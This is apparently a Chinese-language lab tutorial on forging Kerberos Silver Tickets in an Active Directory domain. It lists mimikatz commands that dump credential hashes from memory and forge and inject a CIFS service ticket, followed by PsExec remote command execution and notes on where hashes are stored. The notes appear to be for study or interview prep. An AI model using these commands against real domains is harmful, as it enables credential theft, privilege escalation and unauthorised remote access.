伪造白银票据

黄金票据是伪造 TGT，白银票据（Silver Ticket）是伪造 ST(Service Ticket)，因为它不想黄金票据一样使用krbtgt账户的hash，而是使用计算机账户的hash进行加密的，所以只能获访问指定的权限。
前提条件：域名称、域SID、域服务账户的hash、伪造的用户名（任意用户或者不存在的用户）

---

制作白银票据  （上篇黄金票据已经截过图，主要使用用工具还是mimikatz和psexec）

制作白银票据的条件：

1.域名称

2.域的SID值

3.域的服务账户的密码HASH

4.伪造的用户名，可以是任意用户名，一般伪造administrator

5.需要访问的服务

第一步：

管理员权限运行mimikatz

privilege::debug #提升权限

sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

第二步：

清空本地票据缓存

kerberos::purge #清理本地票据缓存

kerberos::list #查看本地保存的票据

第三步：

伪造白银票据并导入

kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

第四步：

访问域控的共享目录

dir \\win08\c$

远程登陆，执行命令

PsExec.exe \\win08 cmd.exe

whoami查看权限

---

面试时被问到，黄金票据跟白银票据的区别：

1.TGS ticket针对的是某个机器上的某个服务，TGT针对的是所有机器的所有服务

2.TGT利用krbtgt账户的hash，TGS ticket利用的是服务账户的hash（目标机的hash,以计算机名$显示的账户）

黄金票据的实验结果：

能够在域里边所有机器上都以administrator登录

白银票据的实验结果：

以前就能够psexec的，使用白银票据添加cifs为administrator权限后，能够在psexec之后以administrator登录

以前就不能后动psexesvc的机器，实用白银票据添加cifs后，dir由无权查看变为有权查看

hash位置

运行中的系统，需要从内存抓取->lassas.exe进程里边存放的是活动用户的hash（当前登录的用户）普通域用户或普通工作组：SAM文件（加密后的用户密码）/SYSTEM文件（秘钥）windows/system32/config/SAM存的是当前机器所用户的Hash

域控：ntds.dit所有域用户的账号/密码（hash）